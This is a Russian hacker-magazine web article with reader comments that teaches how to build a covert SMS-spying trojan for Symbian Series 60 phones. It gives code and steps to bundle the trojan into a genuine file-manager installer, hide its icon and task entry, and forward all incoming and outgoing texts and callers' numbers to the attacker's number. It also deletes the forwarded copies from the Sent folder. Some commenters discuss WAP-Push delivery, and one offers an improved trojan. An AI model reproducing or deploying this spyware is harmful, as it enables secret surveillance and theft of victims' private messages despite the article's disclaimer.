Карта сайта Хакер в RSS Энциклопедия Хакера PDA версия сайта Почтовые рассылки Хакера    Хакер в Twitter Хакер в ВКонтакте Приложение Хакер для Facebook Хакер на Formspring.me
Журнал Новости Форум Видео Life Xakep Live (блоги)
Bugtrack Статьи Блог Поиск English
Трюки с phpinfo Трюки с phpinfo
Совсем недавно в паблике появилась информация о новом интересном подходе к эксплуатации уязвимостей класса LFI с помощью бесполезной на первый взгляд функции phpinfo() и временных загрузочных файлов. Берем на вооружение этот полезный прием....
Интервью с создателем NGINX Игорем Сысоевым Интервью с создателем NGINX Игорем Сысоевым
Легкий веб-сервер NGINX буквально только что вышел на 2 место по популярности в интернете. А незадолго до этого создатель NGINX привлек 3 млн. долларов инвестиций и основал одноименную компанию. В общем, поводов для общения с Игорем Сысоевым у нас была масса....

Большой брат для мобилы

Bookmark and Share
Готов ли ты создавать зловредное программное обеспечение за деньги?


Ответить | Результаты   


В девятом номере прошлогоднего «Хакера» мы рассмотрели кодинг простенького sms-трояна для смартфонов на базе Symbian 6.X-8.X Series60. Он мог перехватывать и отправлять все входящие/исходящие sms на номер хакера. Сегодня мы подробнее рассмотрим методологию разработки подобного функционала и добавим новые возможности.

Как мы уже писали ранее, наиболее распространенной платформой для смартфонов (60% рынка) является Series 60 финского гиганта Nokia. Успех моделей, разработанных на основе этой платформы, обуславливают относительная дешевизна, удобство использования, функциональность и куча разных моделей. Кроме того, девелоперы получили серьезную поддержку при разработке стороннего ПО для мобил на базе Symbian в виде весьма внятной документации (на английском языке), приличного количества ресурсов и широкого спектра API-функций, позволяющих осуществлять доступ к системным функциям телефона. Последний факт позволил разработчикам создавать не только тупые аркады, но и вполне серьезные приложения, расширяющие функциональность. Доступ к системным функциям интересен также и всяким нехорошим хакерам, желающим наваять какую-нибудь гадость вроде Cabir.

Однако с выходом девятой версии ОС случился жесточайший облом. Новая система безопасности и сертификации Symbian подразумевает возможность доступа к системным API лишь при наличии Symbian-Signed-сертификата, получить который можно только после проверки приложения ребятами из Symbian. Думаю, им вряд ли удастся внятно объяснить, почему нашему «файловому менеджеру» неожиданно потребовался доступ к функционалу отправки сообщений. Именно поэтому приложение, которое мы сегодня напишем, будет ориентировано на более ранние версии ОС, благо новая операционка пока еще не сильно распространена (а тем более если принять во внимание еще и огромный рынок б/у моделей ;)).

Инструментарий

В процессе разработки мы задействуем проверенную временем связку: Microsoft Visual Studio.NET 2003 + Carbide.VS (о ее преимуществах и использовании мы уже писали ранее). Что касается SDK, то здесь лучшим выбором будет SDK Series 60 2.0. Кроме того, если ты собрался серьезно кодить под Симбу, тебе наверняка потребуется документация из SDK, а также литература, приведенная во врезке.

Определяемся с функционалом

Понятное дело, что написание всякого шпионского ПО как для настольных систем, так и для мобильных устройств несколько специфично. В частности, нормальный шпион должен работать максимально прозрачно для жертвы и обладать следующими особенностями:

  • автоматический запуск при старте мобилы;
  • удаление копий отправленных sms из папки «Отправленные»;
  • незаметность работы;
  • отсутствие иконки приложения в Task Manager.

Что касается, собственно, функционала, то предлагаю рассмотреть вариант разработки программы, отправляющей копии входящих/исходящих sms на заданный номер, а также сигнализирующей хакеру о входящем/исходящем звонке посредством sms с отправкой на тот же номер информации о звонящем/адресате.

Прячем от глаз

Перед хакером, желающим впарить гадость, часто стоит проблема: как заставить юзера установить вредоносную программу так, чтобы тот ничего не заподозрил?

Недавно в Сети появился троян, который рассылал платные sms на короткий номер. Его распространяли следующим образом. На сайте dimonvideo.ru (кстати, привет авторам этого нехорошего ресурса, с вас ящик пива за пиар) есть раздел, куда пользователи могут выкладывать программки для всеобщего обозрения. Так вот, автор троя выдавал свою шнягу за какую-то полезную софтину, немало заработав на этом деле, поскольку программа при запуске первым делом отправляла sms стоимостью в 100 рублей. Понятное дело, что юзер, заметив, что программка, мягко говоря, не та, за которую себя выдает, сносил эту гадость.

Однако в тайных подземельях злокодеров есть способ и получше: зашить нехорошую программу в работоспособную и полезную софтину. Пусть пользователь радуется, что скачал крутой файловый менеджер, не подозревая, что в него зашита программка, которая за ним следит.

Рассмотрим, как именно плохие люди это делают. За сборку приложения в инсталляционный файл, как ты знаешь, отвечает *.pkg–файл, в котором прописывается, какие файлы и куда должны быть помещены на мобиле в момент установки программы. Так вот, в этот файл можно добавить следующую строку:

@"eFileMan.sis",(0x101F4284)

Это означает, что в текущую инсталляцию будет включен файл eFileMan.sis, который во время сборки находится у тебя там же, где и конфиг. 0x101F4284 – это UID подключаемого приложения, который можно узнать, запустив программу SIS Xplode, показывающую UID любого приложения под Symbian.

Теперь, после создания сборки, можешь смело переименовывать ее из какого-нибудь там megaTroy.sis в eFileMan.sis, и юзер будет уверен, что устанавливает файловый менеджер, как во время, так и после установки, поскольку пресловутый eFileMan также установится и будет отображаться в меню приложения. Если же пользователь захочет удалить eFileMan, он без труда сможет это сделать, оставив в сохранности зловредную программу.

Далее, хакеры обычно скрывают шпионскую программу от глаз пользователя. Для этого нужно модифицировать файл информации о приложении, хранящийся в папке AIF и имеющий имя вида OurMegaAppaif.rss. Делается это следующим образом:

RESOURCE AIF_DATA
{
app_uid=0x0871aba4; //
уникальный идентификатор приложения
...
hidden = KAppIsHidden; //
прячем иконку
}

Вот и все, иконка приложения из меню смартфона бесследно исчезла. После этого программисты переопределяют виртуальную функцию UpdateTaskNameL класса AppUi, которая отвечает за отображение приложения в тасклисте. Для этого они добавляют в заголовочный файл документа в объявление класса Document строку:

virtual void UpdateTaskNameL(CApaWindowGroupName* aWgName);

После этого в реализацию класса документа они вставляют:

void CXaSMSDocument::UpdateTaskNameL(CApaWindowGroupName* aWgName) 
//конструкция :: играет роль namespace
{
CAknDocument::UpdateTaskNameL(aWgName); 
//вызывается системная функция UpdateTaskNameL
aWgName->SetHidden(ETrue); 
//прячем приложение из контакт-листа
aWgName->SetSystem(ETrue); 
}

А в конструктор класса AppUI вписываются следующие строки:

void CXaSMSAppUi::ConstructL()
{
BaseConstructL();
//приложение никогда не может получить фокус
CEikonEnv::Static()->RootWin().EnableReceiptOfFocus(EFalse); 
CEikonEnv::Static()->RootWin().SetOrdinalPosition(-1000, ECoeWinPriorityNeverAtFront);
...
}

Это необходимо для того, чтобы приложение никогда не могло получить фокус, в том числе если жертва найдет в файловой системе исполняемый файл.

Все, теперь приложение невидимо ни в тасклисте, ни в меню смартфона, и запустить его нельзя, даже кликая на исполняемый файл. Осталось только приделать автозапуск, используя разработку ezboot. Об этом мы уже неоднократно писали, советую посмотреть «Кодинг» сентябрьского, ноябрьского и декабрьского номеров «Хакера» и «Хакер Спец» за ноябрь.

Перехват входящих и исходящих sms

Механизм работы следующий: хакерская программа мониторит все входящие и исходящие sms и моментально отправляет их копии на номер хакера, удаляя их из папки «Отправленные».

Для реализации этого функционала программисту надо будет сделать sms-движок, являющийся классом, унаследованным от MMsvSessionObserver. Называться этот движок будет, к примеру, CXaMegaFuck. Реализацию движка можно увидеть в проекте на диске.

Особый интерес представляет метод HandleSessionEventL, поскольку именно он служит для отлова событий типа: «перемещение sms из одной папки в другую», «создание sms» и т.п. К примеру, отлов исходящего sms осуществляется очень просто. Когда sms отправляется, его копия всегда помещается сначала в папку «Исходящие», а после этого уже в папку «Отправленные». В HandleSessionEventL мы отлавливаем эти манипуляции следующим образом:

void CXaMegaFuck::HandleSessionEventL(TMsvSessionEvent aEvent, TAny* aArg1, TAny* aArg2, TAny* aArg3)
 {
 switch (aEvent)
//aEvent – событие сервера сообщений
 {
	case EMsvEntriesMoved:
	if((*static_cast(aArg3)==KMsvDraftEntryId)&&(*static_cast(aArg2)==KMsvSentEntryId))
	//если сообщение перемещено из черновиков в отправленные, 
	//значит, эту sms создал троян и его надо удалить
	{
		TRAPD(error,DeleteMessageL( KMsvSentEntryId ));
		if(error)
		{
		}
 		}
			if((*static_cast(aArg3)==KMsvGlobalOutBoxIndexEntryId)&&
			(*static_cast(aArg2)==KMsvSentEntryId)&&(!iRunning))
			//если sms перемещено из папки «Исходящие» в папку «Отправленные», 
			//значит, sms отправил юзер и его надо получить
	{
		//составляем отправляемое хакеру сообщение
		CreateDraftSMSL(iAddress, aMessage);
		SendSMSL();
		DeleteMessageL( KMsvSentEntryId );
	}
			
	break;
}
}

Код этот достаточно простой и не требует дополнительных комментариев. В результате его выполнения при отправке пользователем sms будет создана его копия вида:

To:+79031111111 Текст сообщения

Собственно, текст сообщения формируется следующим образом:

iSession->GetEntry((*entries)[entries->Count()-1],owningServiceId,messageEntry);
//записываем хэндл сообщения в messageEntry
TMsvId iSmsId = messageEntry.Id();
iSmsMtm->SwitchCurrentEntryL(iSmsId);
iBody.Copy(iSmsMtm->Entry().Entry().iDescription); //
в переменную iBody будет записан текст отправленного sms

Затем sms отправляется хакеру и удаляется из папки «Отправленные». Аналогичный код приведен в описании HandleSessionEventL для отлова входящих sms. Код можешь посмотреть на диске.

Отлов звонков

Для отлова вызовов нам также понадобится отдельный класс, который будет обладать свойством iActive, являющимся экземпляром класса CActiveIncomingCallObserver, унаследованным от CActive.

В конструктор AppUi мы добавим создание объекта движка, в результате чего будет создан и iActive, который будет слушать поступающие звонки. Код, который выполняется в случае звонка, помещается в метод CActiveIncomingCallObserver::RunL() (кстати, рекомендую изучить документацию по CActive).

void CActiveIncomingCallObserver::RunL()
{
	if (iStatus == KErrNone)
	{
		if (iCallActive)
		{
			if (iCallStatus == RCall::EStatusIdle)
			{
			//разговор в процессе, можно, 
			//например, попытаться записать его на флешку =)
			}
			else
			{
				iCall.NotifyStatusChange(iStatus, iCallStatus);
			}
		}
		else
		{
		 //Поступил вызов, получаем номер звонящего и отправляем sms =)	
		}
		SetActive();//запускаем механизм отлова звонка снова
	}
}

При этом, собственно, получение номера звонящего выглядит примерно так:

RMobileCall::TMobileCallInfoV1 callInfo;
RMobileCall::TMobileCallInfoV1Pckg callInfoPckg(callInfo);
User::LeaveIfError(iCall.GetMobileCallInfo(callInfoPckg));
TBuf<64> remoteNumber; //
переменная для записи номера звонящего
remoteNumber.Copy(callInfo.iRemoteParty.iRemoteNumber.iTelNumber);

Заключение

Как видишь, создание зловредного программного обеспечения для современных мобил – совсем несложное дело. Есть люди, которые зарабатывают на этом немалые деньги. Описанный выше случай с отправкой вредоносной программой платных sms примитивен, но весьма показателен. В частности, мне поступало предложение за весьма внушительную сумму разработать программку, которая могла бы управляться хакером посредством sms-команд. Конечно же, я отказался, чего и тебе советую. Зарплата у разработчиков мобильного ПО и так выше, чем в среднем на рынке, поэтому мы в состоянии зарабатывать на батон хлеба с кружкой кваса и без всякой незаконной хрени.

Рекомендованная литература

Symbian OS C++ for Mobile Phones, Volume 2 : Inside OS v. 7.0(s) (Symbian Press), Leigh Edwards, Richard Barker – неплохая книжка, в которой описаны основные концепции кодинга под Симбиан.

Developing Series 60 Applications : A Guide for Symbian OS C++ Developers (Nokia Mobile Developer) – в отличие от предыдущей книжки, здесь много хороших практических примеров.

WARNING

Слежка за людьми и разработка вредоносного ПО – наказуемое дело! Не стоит забывать, что все действия хакера противозаконны, и эта статья предназначена лишь для ознакомления и организации правильной защиты с твоей стороны. За применение материала в незаконных целях автор и редакция ответственности не несут.


Полную версию статьи читай в июльском номере Хакера, все исходники к статье выложены на нашем диске (в образовательных целях).



Теги: Symbian , перехват SMS , программирование , смартфон , троян





СВЯЗАННЫЕ СТАТЬИ
Большой брат для мобилы
СЛЕДУЮЩИЕ СТАТЬИ
Брутим дедики по-новому: свежий подход к программированию RDP-брутфорсеров
Модифицируем подписанные библиотеки в .NET
Filter::Decrypt: расшифровка вслепую
Тернистый путь багоискателя: общие приемы анализа PHP-движков
Маскировка вируса
Свои модули для PasswordsPro: атака на хэши
Кража паролей из памяти
Cross-Build Injection: сборка для хакера №2
Cross-Build Injection: сборка для хакера №1
Предательский антивирус: тырим данные с flash-модулей и CD/DVD
ПРЕДЫДУЩИЕ СТАТЬИ
XSS черви и вирусы: сообщества уязвимых
Зомби-сети: рассвет мертвецов №3
Зомби-сети: рассвет мертвецов №2
Зомби-сети: рассвет мертвецов №1
*nix-бэкдоры в подробностях №2
*nix-бэкдоры в подробностях
Конкурс: Как скрыть NAT от провайдера
Оконный доступ к БД
Переполнение буфера своими руками №2
Исследование шеллкода
ОБСУЖДЕНИЕ СТАТЬИ
Логин:
Пароль:
Если у вас есть форумный логин - вы можете использовать его, иначе анонимный гостевой доступ.

Для оставления комментария вы можете зарегистрироваться по упрощенной процедуре.

Обсуждение этой статьи на forum.xakep.ru
Для отправки сообщения введите код, указанный на картинке
Сообщение

UserГость
10.08.2007 10:23:32
Ответить Ссылка
Бугага! :) хорошая штука
UserГость
10.08.2007 11:03:33
Ответить Ссылка
Invalid access to memory location.
UserГость
10.08.2007 15:41:06
Ответить Ссылка
Как-то остался в стороне вопрос о том, как записать этого шпиона в требуемый телефон. Имхо, это и есть самая нетривиальная задача
AvatarMoonglow
10.08.2007 15:42:59
Ответить Ссылка
Статья хорошая, не понравилась только эта фраза:
>Готов ли ты создавать зловредное программное обеспечение за деньги?
Нафиг в далекую топку людей, заказывающих такое ПО
Взлом - для искусства (c) InAttack
AvatarEXE
10.08.2007 20:43:22
Ответить Ссылка
Кстати к сведению: кружка разливного кваса стоит не так дёшево как кажется!))))
Userswapper
10.08.2007 20:53:24
Ответить Ссылка
>Как-то остался в стороне вопрос о том, как записать этого шпиона в требуемый телефон. Имхо, это и есть самая нетривиальная задача
WAP-Push еще никто не отменял.
Социальную инженерию, тоже :)
AvatarMoonglow
12.08.2007 4:26:17
Ответить Ссылка
swapper, можно поподробней, оч. интересная тема, я про нее еще ничего не читал
буду очень признателен за линк на доки с чем ты знакомился
UserГость
13.08.2007 14:18:17
Ответить Ссылка
Прикольная тема,может и сам как-нибудь попробую.
UserГость
13.08.2007 18:11:08
Ответить Ссылка
>Как-то остался в стороне вопрос о том, как записать этого шпиона в требуемый телефон. Имхо, это и есть самая нетривиальная задача.

Прочитай 2-ой абзац раздела "Прячем от глаз". Речь не идет о том что ты запросто сможешь закинуть софтину на телефон кого угодно.
Идея в том, что сложно отследить, что же действительно делает софт, который выкладывается в инете и который ты скачиваешь себе на мобилу.
UserL0p00h
13.08.2007 19:58:44
Ответить Ссылка
А можно по-подробнее про WAP-Push?
Userswapper
13.08.2007 21:05:40
Ответить Ссылка
WAP-push - специфически сформированное смс-сообщение, при его получении и нажатии на кнопку "загрузить" на мобильном, телефон начинает автоматически загружать приложение прописанное в параметрах WAP-push.
Как сформировать такое сообщение можно найти на форуме хакера :).
Есть еще особые недокументированные возможности WAP-pushа, но о них я рассказать уже не смогу :(
UserГость
15.08.2007 6:32:08
Ответить Ссылка
а если у юзеря на сотке поставлен отчет об отправке СМС'ок, вот здесь то номерок и попалится...не доконца как-то освещена статья
AvatarDem@n
18.08.2007 20:25:27
Ответить Ссылка
Добавил возможность не принимать отчет о доставке смс, которые отправляет программа. Кому интересен трой, стучитесь: 220667936
UserГость
19.09.2007 8:06:12
Ответить Ссылка
мне понравилась твоя идея. я так понил из этой ст. чтоя могу перехватывать смс?
UserГость
19.09.2007 8:09:12
Ответить Ссылка
где можно скачать эту прогу?
UserГость
04.12.2007 19:18:17
Ответить Ссылка
Ну это прописано для смартфонов на платформе Symbian.
А может ли что-то подобное быть реализовано на Java и применимо в обычных телефогах, не смартах?
UserГость
11.08.2008 23:23:58
Ответить Ссылка
а в коде есть ошибка =) А так кстати все работает , жалко только что узконаправленная фишка получаеться =) Так сказать не кросплатформенная =)
UserГость
18.08.2008 4:50:34
Ответить Ссылка
Re: <<<Нафиг в далекую топку людей, заказывающих такое ПО
Взлом - для искусства (c) InAttack >>>
Мама с Папой не всю жизнь кормить будут.




Keywords: zPOSTz zHACKz, zSOFTz, zHOWz, zINFOz, zYANDEXz, zVOTEz z39619z
Для Авторов: edit Lock delete Lock



    Rambler's Top100